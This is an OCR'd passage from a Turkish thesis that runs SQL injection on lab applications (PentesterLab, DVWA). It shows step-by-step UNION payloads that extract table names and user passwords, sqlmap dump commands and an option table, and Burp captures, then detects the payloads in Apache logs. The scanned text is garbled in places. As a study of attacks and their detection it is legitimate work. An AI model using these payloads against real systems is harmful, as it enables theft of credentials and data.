3 user1 5
5 user2 2

© PentesterLab 2013

Sekil 3.19. Payload islemi sonucu web sunucusundan alinan yanit.

Yukarida gerceklestirilen payload denemeleri ile SQL enjeksiyon zafiyetinin varlig
kesfedilmistir. Bu zafiyetin tespitinden faydalanilarak web sunucusundan daha ne tiir
bilgiler elde edilebilecegi degerlendirilir. Ornegin veri tabanindaki kullanicilarin
parolalarin1 elde edebilmek icin once bu web sayfasi lizerinde kag tane siitiin oldugunu
bulmaya calisilmistir. Yukaridaki veri tabaninda id,name,age siitunlarinin oldugu
biliniyor. Bu nedenle bagka siitunlarin da oldugu diisiiniilerek tiim degiskenlerin ekrana
getirilmesi saglanabilir. Bundan hareketle web sayfasi istek baglantisina Burp Suite
tizerinde Sekil 3.20°de gosterilen yeni payload deneme islemi gergeklestirilir ve yapilan

sorguda stitun degerlerinin oldugu goriiliir.

Raw | Params THeaders ]E] IRnw Headers IHex ]

Raw n Actions v [zl Raw Render \n Actions v

GET /sqli/examplel.php?name=root HITP/1.1

2 Host: 192.168_165_89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x€4; rv:93.0)
Gecko/Z0100101 Firefox/93.0

4 Accept
text/html,application/xhtml+xnl, application/xml;q=0.9, image/avif, im
age/webp,*/*;q=0.8
Accept-Language: tr-TR,.tr;q=0.8,en-US;q=0.5,en;q=0.3
Aecept=Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

s

<table class='table table-striped'>

&copy; Pentesterlab 2013
</p>
</footer>

</fdiv>
<!-- jfcontainer --»

Sekil 3.20. Payload 5 siitun sayisi tahmini iglemi.
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ekil 3.20°de yapilan ‘order+by+5+%23 veri yiki denemesi, ‘order+by+6+%23 olarak
S yap y yu , y

degistirildiginde yapilan sorguda Sekil 3.21°de goriildiigii gibi bir deger dondiirmemesi

izerine web sunucu veritabanindaki tablonun 5 siitunlu oldugu anlasilir. %23’ ifadesi, (#)

anlamina gelmektedir. Yani sonrasinda gelen ifadeleri yok sayar [26].

Raw | Params | Headers | Hex

Raw | Headers E}

Raw \n Actions v
GET /sqli/examplel.php?name=root'ordertby+Efs23 HTTP/1.1
Host: 182_16B.1&65.89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4, xE4;
Gecko/20100101 Firefox/93.0
4 Accept
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, im
age/webp ,*/*;q=0.8
S Accept-Language: tr-TR,tr;g=0.8,en-US;gq=0.5,en,;q=0.3
€ Accept-Encoding: gzip, deflate
Comnection: close
Upgrade-Insecure-Requests: 1

rv:S83.0

L

Raw Render \n Actions v

<sa>
<a class="brand" href="https://pentest
<div class="nav-collapse collapse">
<ul class="nav">
<1i class="active">
<3 afome</a»

<l==/ nav-collapse =-=>

<fdiv>

class="container">

<div

<footer>
<p>
&copy; PentesterLab 2013

ontainer --»

</body>
</html>

Sekil 3.21. Payload 6 siitun sayis1 tahmini iglemi.

Stitun sayisin1 6grenme isleminden sonra bu SQL enjeksiyon zafiyeti icerisinde tablolarla

ilgili bilgi toplama islemlerine gecilmistir. Ornegin Burp Suite iizerindeki yapilan tablo

isimlerini ve versiyon bilgilerini 6grenmeye yarayan asagidaki komut kullanilmistir.

Sekil 3.22°de goriildiigli gibi Burp Suite araci lizerindeki request boliimii bu kod enjekte

edilmistir.

‘union select table_name,version(),3,4,5 from information_schema.tables %23
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Raw | Headers Hexl

Raw Y Actions v

GET /sqli/examplel. php?names=

root'tuniontselectttable name,version(),3,4,5+fromtinformation schema.tables+%23

HTTP/1.1

Host: 192.168.1E65.69

3 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Firefox/%83.0

4 Accept

WinE4; xE4; rv:93.0) Cecko/20100101

text/html,application/xhtml+xml, application/xml;q=0.5, image/avif, inage/webp, */*;q=0.

8
S Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
¢ Accept-Encoding: gzip, deflate
7 Comnection: close
2 Upgrade-Insecure-Requests: 1

ZCWl Raw Render \n Actions v
3
<fed>
</tr>
<tr>
<td>
USER_PRIVILEGES
</td>
<td>
5.l.6e-0+scueezel
</td>
<td>
3
<ftd>
<ftr>
<tr>
<cd>
VIEWS
<ftd>
etd>
5.1.E6-Dtsqueezel
</rd>
<td>
3
</cd>
<fcr>
<tr>
<td>
users
</td>
<td>
5.1.6€-D+squeezel
</rd>

Sekil 3.22. Siitun ad1 ve versiyon bilgilerini ¢gekmeye yonelik veri yiikii denemesi.

PROCESSLIST

PROFILING
REFERENTIAL _CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_FRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS

TABLES
TABLE_CONSTRAINTS
TABELE PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS

users

@ PentesterLab 2013

5.1.86-0+squeeze
5.1,66-0+squeezel
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+3queeze
5.1.66-0+s5queeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5.1.66-0+squeeze
5,1,66-0+squeeze

5.1.66-0+squeeze

Sekil 3.23. Payload islemi ile tablo ve versiyon bilgileri.

Sekil 3.23’te goriildiigi iizere “users” adinda bir tablo bilgisinin oldugu goriilmiistiir. Bu
bilgiden yola ¢ikarak burada hangi kullanicilarin oldugu ve parola bilgilerinin elde

edilebilecegi kanisina varilmistir. Bir sonraki asamada Sekil 3.24’teki gosterilen payload
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islemi ile tablo i¢indeki alan adlar1 6grenilmistir.

union select column_name,2,3,4,5 from information_schema.columns %23

Q 8 192.168.165.69/sqli/examplel php?nama=rootunion+select+column_name,?,3 4,5 +from +information_schema.column %

Q

name 2 3

age 2 3

groupid 2 3

passwd 2 3
© PentesterLab 2013

Sekil 3.24. Payload islemi ile baslik isimlerinin goriilmesi.

Alan adlarmin 6grenilmesinden sonra tablo ve kolon igerisinde yer alan kullanici ad1 ve
parolalar1 asagidaki gerceklestirilen SQL ifadesi ile gergeklestirilen veri yiikii tizerinden
ogrenilmistir.

union select name,passwd,3,4,5 from exercises.users %23 [26].

Raw | Params ] Headers {Hex i Raw i Headers ] Hex 1
n Actions Vv Raw Render n Actions v

I GET /sgli/examplel. php?name= & “;’
root 'uniontselecttname,passwd, 2,4, 5+ fromtexercises. users+%22 HTTP/1.1 [P </ods
2 Host: 192.168.165.69 qtr;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£d; x&4; rv:53.0) Bl
Gecko/Z01l00101 Firefox/93.0 <tds
i Accept Coeh
cexc/heml  applicacion/xhtnl+xml applicacion/¥ml;q=0.5, image/avif, image </ed>
fuebp,*/*;q=0.8 <t d>
5 Accept-Language: tr=TR,tr;q=0.8,en-US;q=0.8,en;q=0.3 admin~l
€ Accept-Encoding: gzip, deflate Spbdy
7 Connection: close <tdr
¢ Upgrade-Insecure-Requests: 1 3
</td>
</tr>
<tr>
<td>
userl
<jrd>
<td>
secret
</rd>
<td>
3
</td>
</tr>
<tr>
<td>
userz
</ed>
<td>
azerty
</td>
<rds

Sekil 3.25. Kullanici ad1 ve parola bilgileri.

Burp Suite iizerinde response boliimiinde “Show response in browser” sekmesi secilerek

olusan baglant1 tarayici adres ¢ubuguna yapistirildiginda veri tabanindan ¢ekilen kullanici
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ad1 ve bilgileri Sekil 3.26°da goriildiigii gibi web sayfasi lizerinden goriintiillenmistir.

O 8 192.168.165.69/sgli/example1.php?name=root'union+select+name,passwd,3,4,5 +from+exercises.users+%23

id name age

2 root 30

admin admin 3

root admin21 3

user1 secret 3

user2 azerty 3
© PentesterLab 2013

Sekil 3.26. Tarayic lizerindeki kullanici ad1 ve sifre bilgileri.

3.1.5. Sqlmap Araci ile SQL Enjeksiyon Zafiyetinin Analizi ve Belirlenmesi

VMware WorkStation sanal platformu iizerinden sqlmap test aract Kali Linux isletim
sistemi iizerinden c¢alistirllmistir. Sanal Kali Linux isletim sistemi ag¢ilarak komut
satirinda “sudo su” komutu ile yonetici izni alinir. Daha sonra komut satirinda Sekil
3.27°de gosterilen parametreler yazildiginda ¢ikan sonug¢ iizerinde SQL enjeksiyon

zafiyetinin varlig1 tespit edilmistir.

B g 2 & anonymo i 09:39 AM
anonymous@kali: ~
File Actions Edit View Help
ion technigque tests as there is at least one other (potenti
the time ed to find the right number of guery
o ve 5 columns in quer
01 GET parameter 'name’ is 'Generic UNION query (NULL) - 1 to 2@ columns’ injectable

' is vulnera you want to keep testing the others (if any)? [y/N] vy
ion point(s) with a total of 61 HTTP(s) reguests:

@.12 AND time-based blind (query SLEEP)
ot' AND (SELECT 31 FROM (SELECT(SLEEP(5)))fUzn) AND 'LPET'='LPET

(NULL) - 5 columns
SELECT NULL,NULL,CONCAT(@x s B%444a554b736b4e42506370 46752485149706d6961516d6
1),NULL,NULL— -

DBMS is MySQL

o a logged to text files under '/root/.l re/sqlmap,
you haven't updated sqlmap for more than 482 day:

21-10-26/

s# sglmap -u http: 2.168.165 Li 3mp1-‘el.php?name=rcntl

Sekil 3.27. Sqlmap ile zafiyetin tespiti.

SQL enjeksiyon zafiyetinin var oldugunu tespit ettikten sonra sqlmap aracinin bazi
komutlarini kullanarak web uygulamasi veri tabani tizerinde bulunan kullanic1 ad1 ve sifre

gibi bilgilere erisilebilir. Ayrica sqlmap aract ile yapilan veri yiikleri {izerinden
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denemeleri fiziksel makinede Burp Suite aracinda Sekil 3.28’deki gibi Proxy ayarlamalari

yapilarak goriilmiistiir.

Burp Project Intruder Repeater Window Help

[ Dasnboars | Target | Proxy | intruder | Repeater TSequencer TDecoder ICornparerTEmnder TProjectoctbna

[ Intercept T HTTP history T WebSockets history Tw ]

@ Proxy Listeners

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browse

[ Add | |Running | interface | Invisible | Redirect | Certificate
. €] 127.0.0.1:8080 Per-host
‘3 Edit proxy listener

| | Binding | Request handing | certificate | TLS Protocois |

® These settings control how Burp binds the proxy listener.

Bind to port: 8080
Each installation
Burp.
Bind to address: (U Loopback only
— femc]' O allinterfaces
@ Specific address: [182.168.165.185 |
127.0.0.1 I
® Intercept Ci 169.254.4.33 [
@ Use these settin 722952200
192.168.165.195
& intercept req 152.168.195.1
192.168.240.1
192.168.56.1
E 0:0:0:0:0:0:0:1 v

L

Sekil 3.28. Burp Suite proxy yapilandirilmasi.

Sekil 3.29°da Sqlmap aracinda kullanilan “-- dump" komutu yardimi ile de veritabaninda

kullanilan tablo igerigi goriintiilenmistir.
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anonymous@kali: ~

File Actions Edit View Help

" UNION ALL SELECT NULL,CO

ing to use the nt database to enumerate table(s) entries

admin
admin2

Sekil 3.29. Sqlmap ile tablo bilgilerinin ¢ekilmesi.

SQL enjeksiyon zafiyetinin belirlenmesinde sqlmap aracinin yapmis oldugu payload
denemelerini burp suite aracinda gorebilmek i¢in, Kali Linux iizerinde sqlmap araci

kullanilarak Sekil 3.30’da gosterilen komut yardimiyla gerceklestirilir.

File Actions Edit View Help
load: na oot' AND CT 78 M E) AND 'MoOU'="MoOU

UNION qui
ene UNION query (NULL) - 5 columns
load: name=root' UNION ALL SELECT CONCAT(@x7162627871,8x515a
a,@x7176767a71),NULL, NULL,NULL,NULL— -

171 [INFO] the back-end DBMS is MySaL
b server operating sy Linux Debian 6 (sque
.16, PHP 5

missing database parameter. sglmap is 1 he current database to enumerate t
i database
for database:

L = Ml R L e~ 2

ELL
root
userl
user

' dumped

{5 a0

rootakali 92.168.16 L .php7nz oot —dump

Sekil 3.30. Sqmap ile payload denemeleri i¢in proxy komutu girilmesi.

Payload denemelerinin incelenmesi i¢in Burp Suite programina ge¢ilir. Burada yapilan
payload denemeleri “Http History” sekmesi agilarak incelenir. Sqlmap araci ile otomatik

olarak gerceklestirilen payload denemeleri satir satir incelenerek, Ornegin tablo

50



bilgilerinde bulunan kullanici ve parola bilgileri asagidaki sekilde analizi yapilarak

gosterilmistir. Sekil 3.31°de goriildiigii lizere yapilan incelemede kullanict bilgilerinin

“root” ve “user1” bu kullanicilara ait parola bilgilerinin de “admin21” ve “secret” oldugu

tespit edilmistir.

|’ Intercept I HTTP history I WebSockets history I Options

| Fiter: Hiding CSS, image and general binary content

# A|Host Method | URL Params | Edited Status | Length | MIMEtype | Extension | Title | Comment s |P
Salmmi K ———— e S —— — S o rrm —— ———— L A —
165 hitp://192.168.165.21 GET Isqllexampie1.php?name=root%27%20. v 200 1707 HTML php PentesterLab &raquo; W. 192.168.165.21
166 hitp://192.168.165.21 GET Isqiexample1.php?name=root%27%20... v 200 1905 HTML php PentesterLab &raquo; W.. 192.168.165.21
167  hitp://1192.168.165.21 GET Isqllexample1.php?name=root%27%20... v 200 1707 HTML php PentesterLab &raquo; W.. 192.168.165.21
168 hitp://192.168.165.21 GET Isqllexample1.php?name=root’%27%20. v 200 1901 HTML php PentesterLab &raquo; W. 192.168.165.21
169 hitp//192.168.165.21 GET Isqllexample1.php?name=root%27%20... v 200 1707 HTML php PentesterLab &raquo; W. 192.168.165.21
170 hitp://192.168.165.21 GET Isqli/example1.php?name=root%27%20. v 200 275 HTML php PentesterLab &raquo; W.. 192.168.165.21
1m hitp://192.168.165.21 GET Isqlvexample1.php?name=root%27%20... v 200 1707 HTML php PentesterLab &raquo; W. 192.168.165.21
172 hitp:/1192.168.165.21 GET Isqiiexample1.php?name=root%27%20... v 200 2188 HTML php. PentesterLab &raquo; W... 192.168.165.21
[« i Ty
. . [ o [N
Request lesponse
Raw | Params | Headers | Hex Raw | Headers | Hex
f \n Actions Vv ZEWE Raw  Render \n Actions v
| GRT /sgli/examplel phodnames i (/(;;9
root$ 274 20UNIONS ZOALLY Z0SELECT$20C0 CAT!ZCDXHEZ&ZW"H:C!FITULHZDCAS'HZDNJEGCUASIB r <tr>
OCHAR$29%2C0x20% 294 2COxE9€e79€ 0 Cl <cd>
qbbxq30mylon01nylon:1nylonylozq
</rd>
<td>
0M320exercises.users--420- HTTP/1.1 5 </td>
2 CacRe-Tontrol: no-cache <td>
User-Agent: sqlmap/l.5.10f#stable (https://sqlmap.org) </td>
i Host: 192.168.165.21 <fer>
5 Accept: */* <tr>
¢ Accept-Encoding: gzip, deflate is
7 Connection: close qbbxqsmylom:mylonamyxonyxozq
L </td>

Sekil 3.31. Burp suite {izerindeki payload, kullanici ve parola bilgileri.

Cizelge 3.1°de sqlmap aracinda kullanilan baz1 6nemli komutlar listelenmistir.

Cizelge 3.1. Sqlmap komutlari

Komutlar

--current-user

Gegerli kullaniciyr getirir.

--current-db Gecerli veritabanini getirir.

--users Veritabani kullanicilarini getirir.
--passwords Veritabani sifrelerini getirir.

--roles Veritabani kullanicilarin rollerini getirir.
--tables Tablolar getirir.

--columns Kolonlar getirir.

--dump

Verileri getirir.

--dump-all

Tiim verileri getirir.
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3.2. SQL ENJEKSiYON SALDIRILARININ WEB UYGULAMA SUNUCUSU
UZERINDE TESPITIi VE DEGERLENDIRILMESI

Veri yiikii tizerinden SQL enjeksiyon zafiyetinin tespitine yonelik olarak kullanilan Web
For Pentester uygulamasi, lizerinde apache web sunucusu bulunmaktadir. Apache web
sunucusu uygulamaya yapilan istekler arasinda baglantt kurmayi saglayan bir
platformdur. Web for pentester uygulamasi lizerindeki SQL enjeksiyon zafiyetinin
bulundugu sayfaya yapilan veri yiikii denemelerinin apache web sunucusu iizerinde tespit

calismas1 yapilmustir.

Apache web sunucusunda log kayitlar1 /var/log/apache2klasorii altinda access.log ve
error.log dosyalarinda bulunmaktadir. “access.log” dosyasi igerisinde sunucuya yapilan

isteklerin kaydini tutmaktadir.

VMware sanal platform lizerinden kurulumunu yaptigimiz web for pentester uygulamasi
acilarak “sudo su” komutu ile yonetici olunmasi saglanir. Daha sonra yapilan veri yiikii
denemelerini goriintiilemek icin “cd /var/log/apache2” komutu ¢alistirilarak uygulama
loglarinin goriintiilenecegi dizine gidilir. Buradan yapilan “tail -f access.log” komutu ile
“access.log” dosyasindan yapilan payload denemelerinin tespiti yapilmistir. Sekil 3.32°
de goriintiilenen SQL enjeksiyon denemesi elle gergeklestirilen sorgularla kullanici adi
ve sifreleri almaya yonelik denemenin oldugu tespit edilmistir. Ayrica Burp Suite

aracinda goriilen veri yiikli denemeleriyle ayni oldugu saptanmustir.

Firefoxss
amplel

1 168.
ot 'union

achez

Sekil 3.32. Elle yapilan veri yiikii denemelerinin log kayitlarinda tespiti.
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SQL enjeksiyon giivenlik a¢igimin bulundugu sayfaya elle yapilan veri yiiki
denemelerine benzer saldirilar, sqlmap araciyla ¢cok sayida arka planda hizli sekilde veri

yiikii denemelerini otomatik olarak gergeklestirilmektedir.

SQL enjeksiyon giivenlik zafiyetinin bulundugu web for pentester uygulamasina sqlmap
ile yapilan veri yiikii denemeleri de apache web sunucusu lizerinde ayni islem adimlariyla,

log kayitlarinda tespit edilerek Sekil 3.33’te gosterilmistir.

Sekil 3.33. Sqlmap ile yapilan veri ylikii denemelerinin log kayitlarinda tespiti.

Sqlmap aracinin yapmis oldugu ve manual olarak yapmis oldugumuz SQL enjeksiyon

zafiyetine yonelik yapilan veri yiikii denemeleri karsilastiriimistir.

Burp Suite aracinin 6zelliklerinden “Decoder” boliimiinde, Decode as URL olarak segilir
ve yapilan her iki payload denemeleri buraya kopyalanir. Manual yapilan veri yiikii
denemeleri ve tespit edilen sqlmap araci ile yapilan veri yiikii denemeleri
karsilastirildiginda aralarinda bazi benzerliklerin oldugu goriilmiistiir. Ornegin sql
komutlari igerisinde bulunan “from exercises. users, passwd, name” gibi elle yazdigimiz
sql komutlari ile sqlmap araci tarafindan otomatik olarak génderilen SQL enjeksiyon veri
yiikii denemeleri, Sekil 3.34’te goriildiigii gibi farkl sekillerde kullanilarak tespit edildigi

anlasilmistir.
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! Burp Suite Community Edition v2020.9.2 - Temporary Project

Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy T Intruder I Repeater I Sequencer ]-Demder T Comparer I Extender T Project options I User options ]

[’ | @ Text O Hex @
| Decode as ...

L
| Encode as ... M|
| Hash ... )

= 7 > | Smart decode J
root UNION ALL SELECT CONCAT(0X7162627871 FNULL(CAST(age AS CHAR),0x20),0x6966796c616d FNULL(CAST(groupid AS © Text O Hex

CHAR),0x20),0x696e796cEf6d IFNULL(CAST(id AS CHAR),0x20),0x696eT26c66d, IFNULL{CAST(name AS

Decode as ...
CHAR}.DxZD)Bxﬁ%e?@lﬁuﬁfﬁd‘iFNULLtCAST:Esswd AS CHAR),0x20),0x7176767a71 r.NULL_NULﬁ’NULL‘NUL | De: as
I =
if i | Encode as ... -
root’ union ;_gﬁgc%{ggmg.gass-.vd.llﬁ M | Hash ..

i

-5

—
=

| Smart decode J

Sekil 3.34. Burp suite payload decode islem analizi.

3.2.1. SQL Enjeksiyonda Veri Yiiklerinin Degerlendirilmesi

Bolim 2’den hatirlanacag {lizere yapilan veri yiikii denemelerinde dnemli unsur olan
etkin yiik kiimelenmesidir. Etkin olmayan ytikler SQL enjeksiyon zafiyetinin kesfinde
basarisizdir. Bunun i¢in sqlmap aracinin otomatize olarak yapmis oldugu veri yiikii
denemeleri incelenmistir. Web for pentester uygulamasindaki SQL enjeksiyon zafiyeti
bulunan kisim sqlmap araci ile taranmistir. Zafiyet taramasi sonrasi sqlmap aract
tarafindan gonderilen veri yiikleri Burp Suite aracinda incelenmistir. Sekil 3.35°te
uygulama iizerinde bulunan veri tabani icerisindeki kullanici ad1 ve sifrelerini bulmaya

yonelik olan etkin veri ylikii ve kiimelenmeleri tespit edilmistir.
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! Burp Suite Community Edition v2020.9.2 - Temporary Project = m] X
Burp Project Intruder Repeater Window Help
fDoshboumTTmm Iﬁvxy T Intruder TRepeaterTSequenc« TDecoder TComrer TExxender TProjeaopﬁons T User options ]
[ ntercept | TP istory. | websockets nistory | options |
I Fiter: Hiding CSS, image and general binary content I@
# A Host | Method | URL | Params
126 http://192.168.165.30 GET Isqglilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2C%28C... v A
127 http://192.168.165.30 GET Isqlilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2C%28C... v
128 http://192.168.165.30 GET Isqglilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2C%28C... v
129 http://192.168.165.30 GET Isqlilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CIFNUL... v
130 http://192.168.165.30 GET Isqglilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CJSON.. v
131 http://192.168.165.30 GET Isqlilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CIFNUL... v
132 http://192.168.165.30 GET Isqglilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CJSON.. v
133 http://192.168.165.30 GET Isqlilexample1.php?name=root%27%20UNION%20ALL %20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CIFNUL... v
134 http://192.168.165.30 GET Isglilexample1.php?name=root%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CJSON.. v
| 135 hitp://192.168.165.30 GET Isqlifexample1.php?name=root%27%20UNION%20ALL %20SELECT%20NULL%2CNULL%2CCONCAT%280x7178707a71%2CIFNUL.... v \'
« >
==
Request Response u
l Raw | Params | Headers | Hex Raw | Headers | Hex
Raw Render \n Actions Vv
~/Lus
$27% 20UNIONS 20ALLS 20SELECT$ 20NULL$ 2CNULL$ 2CCONCATS 280x7178707 N e 3
0ot$2742 ON%2 20¢ 2 2 2CCON 280x A 5 d
a71% 2CIFNULLS 28CASTS 28age’ 20ASS 20CHARS 294 2C0x20% 298 2C0xE179706e74 (/g:l:zqwaypn“m‘ypnu“ypmypm
£9% 2CIFNULLS 28CASTS 28groupids 20ASY ZOCHARS 294 2C0x20% 294 2COxELTST06 <Jss
e7469% 2CIFNULLS 28CASTS28ids 20ASS 20CHARS 294 2C0x 208 298 2C0xE179706e7 Birkerg
2CIFNULLS Z8CASTS 28name$ 20ASS ZOCHAR! 0x20%29%2C0x6179706e7 S
IFNULL% 28CAST% 28passwds 20ASS 20CHAR 2C0x20%29%2C0x716acaé A
71%29% 2CNULLS 2CNULLS ZOFROMS 20exercises. users--$20- HTTP/1.1 bk
2 H </cd>
3 User-Agent: sqlmap/l.5.l0f#stable (https://sqlmap.org) <td>
4 Host: 192.168.165.30 5 ®
S Accept: */+ (/::}:zqaﬂaypntxuaypntl_aypncypnt
€ Accept-Encoding: gzip, deflate <Jhr> v
7 Connection: close v 1’\ ﬁ"*
@i (€[] sear omatches  (2)§03 [« ||| 'agmin21 1 match

Sekil 3.35. Etkin veri yiiklerin sagladigi kullanici ad1 ve sifre verileri.

Sekil 3.36’da Burp suite ilizerinde sqlmap tarafindan yapilan diger veri yiikleri

incelendiginde etkin olmayan basarisiz ytikler tespit edilmistir.

o Vg §ara i ——t

LA T I P AP PSS T 47 OIS U U S ALY FEAATU TN -
68 hitp://182.168.165.30 GET )%202 34 v
70 hitp://192.168.165.30 GET isqliexample1 php?name=root%20AND%204813%3D4813 v
m http:i1192.168.165.30 GET Isgliexample1.php?name=root%20AND%207255%3D1455—-%20gKIB v
T2 hitp://192.168.165.30 GET i 1.php %20AND%204813%3D4813—-%20EMEa v
B htin-/1487 187 166 3 fs e T B R 2 TR Sty |
« -
a- -
Request Response

MlPu-ams Headers | Hex Raw | Headers | Hex

W | Acions v Raw Render \n  Actions v
1 GET /sqli/examplel php?name=rootiZ0ANDY20215343D9734 HTTP/1.1 A 5% <cr>
Z Cache-Control: no-cache - <th>
3 User-Agent: sqlmap/l.5.l0#stable (https://sqlmap.org) id
4 Host: 197.168.165.30 . </th>
Fram— <ch> i
Accept-Encoding: gzip, deflate nane
2 </th»
CRprECHLan: EloNd <£;: Kullanier bilgileri
age yok.
</th>
</ers|
€0 </table>
<footer>
e

Sekil 3.36. Etkin olmayan veri yiikii bilgisi.

Etkin olmayan yiikler Burp Suite aracinda incelendiginde veri kiimelenmesi birbirine
benzer oldugu saptanmistir. Ayn1 zamanda Sekil 3.37°de Burp Suite araci iizerinde
basarisiz yiikler decode islemi yapildiginda kullandiklar1 sorgularin birbirine benzer

olduklar tespit edilmistir.
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Burp Suite Community Edition v2020.9.2 - Temporary Project
Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | intruder | Repeater | S Comparer | Extender | Project options | User options

7

root%20AND%204813%3D4813
root%20AND%202193%3D9734
root%28%20AND%204813%3D4813%20AND%20%283460% 303460

root%29%20AND%203110%301594%20AND%20%287958% 307958
<z .4

root AND 4813=4813
root AND 2193=9734
root) AND 4813=4813 AND (3460=3460

Etkin olmayan yiikler.
root) AND 3110=1594 AND (7958=7958 1

.
~

root UNION ALL SELECT NULL NULL,CONCAT(0x7178707a71,IFNULL(CAST(age AS CHAR),0x20),0x617970627469 IFNULL{CAST(groupid AS
CHAR),0x20),0x617970627469, IFNULL(CAST(id AS CHAR) 0x20),0x617970667469 IFNULL(CAST(name AS
CHAR),0x20),0x6179706e7469 IFNULL(CAST(passwd AS CHAR),0x20),0x7 16a6a6a71) NULL NULL FROM exercises. users— -

Etkin yiik.

Sekil 3.37. Etkin olan yiikler ve etkin olmayan yiiklerin durumu.
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4. BULGULAR VE TARTISMA

SQL enjeksiyon zafiyetin kesfinde kullanilan DVWA test web uygulamasinda, veri
tabaninda bulunan kullanict adi ve sifrelerini getirmeye yonelik kosullu SQL sorgu

9

denemesi gerceklestirilmistir. Yapilan anything‘or’ x x sorgu denemesi sonucunda

kullanici ad1 ve sifreleri web sayfasi lizerinde getirmistir [22].

Calismaya ek olarak elle gerceklestirilen sorgu denemesi ile otomatik olarak SQL
enjeksiyon denemeleri yapan sqlmap programu karsilastirilmistir. Sqlmap araci ile yapilan
SQL enjeksiyon saldirt veri yiikii denemeleri ile de veri tabanindan bilgiler ¢ekilmeye

calisilmigtir.

Calisgmada, DVWA web zafiyet testi uygulamasindaki SQL enjeksiyon zafiyetinin
belirlenmesinde sqlmap ve burp suite araglar1 kullanilmistir. Asagidaki sekilde burp suite
aracinin proxy yapilandirmasindan sonra DVWA web zafiyet uygulamasinda SQL

(61’?

enjeksiyon sekmesindeki input alanina degerini yazdigimizda alman cevap
degerinden SQL enjeksiyon zafiyetinin oldugu kanismma varimistir. Bu giivenlik
acigindan faydalanilarak dnce cookie bilgisi burp suite araci lizerinden Sekil 4.1.” de
gosterildigi gibi yakalanmistir. Daha sonra intercept sekmesi tizerinde yakalanan istek
“file to copy” secenegi ile Kali Linux igletim tizerinde root klasorii altina “request” adinda
dosya olusturularak kopyalanmistir. Bu dosya yardimiyla “ ./sqlmap.py -r /root/request -
-dump ““ komutu kullanilarak, Sekil 4.3’de gosterildigi gibi veritabani {izerinden kullanici

ad1 ve sifreleri, cookie bilgileri araciligiyla sifrelenmis MDS bilgileri ¢oziilerek elde

edildi.
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Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Framy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options TUser options ]

J Intereept T HTTP histary TWebSockets history T Options ]

£’ Request to http://127.0.0.1:80

| Forward | [ Drop | | Interceptison | Action
Raw | Params | Headers | Hex

1 GET /dvwa/ HTTP/1.1

2 Host: 127.0.0.1

3 User-Agent: MozillasS.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

5 Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate

7 Referer: http://127.0.0.1/dvwa/vulnerabilities/sgli/?id=1&Submit=Submit

2 Connection: close

9 Cookle: security=low; PHPSESSID=8ht1500hgSlofnehlbBat76t]2

10 Upgrade-Insecure-Requests: 1

131

12 Sca
Send to Intruder Ctri+|
Send to Repeater Ctri+R

Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser >
Engagement tools [Pro version only] >
Change request method

Change body encoding

Copy URL

Copy as curl command

T Copytofle >

Paste from file

Save item

Don't i'htercept reques'ts >

Sekil 4.1. Burp suite tlizerinde yakalanan cookie bilgisi.

DEVICES
B File System 7 &

PLACES
Music ictures Public sqlmay

Iroot[request - Mousepad
File Edit ch View Document Help
request Warning, you are using the root account, you may harm you
GET /dvwa/ HTTP/1.1
Host: 127.0.08.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.{
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Connection: close
Cookie: security=low; PHPSESSID=6ht1508hg5lofnehlb@at76tj2
Upgrade-Insecure-Requests: 1

Sekil 4.2. Request dosyas1 cookie bilgisi.

Sqlmap, program veritabanlarinin numarasini ve adin1 dondiirebilme 6zelligine sahiptir.
Web sunucusunun isletim sistemi ve web uygulama teknolojisi hakkinda bilgi saglar. Ek
olarak, veritabanindan kullanicilar ve parolalar hakkinda kesin bilgiler alinmasi

saglanabilir.

58



Kali Linux isletim sistemi tizerindeki sqlmap programi agilarak asagidaki sekilde sqlmap
programinin uygulama {izerindeki kullanici bilgilerinin alinmast i¢in kullanilan komut
yardimu ile elle yapilan enjeksiyon sonuglarinda bulunan bilgilere ulasilmis ve ek olarak

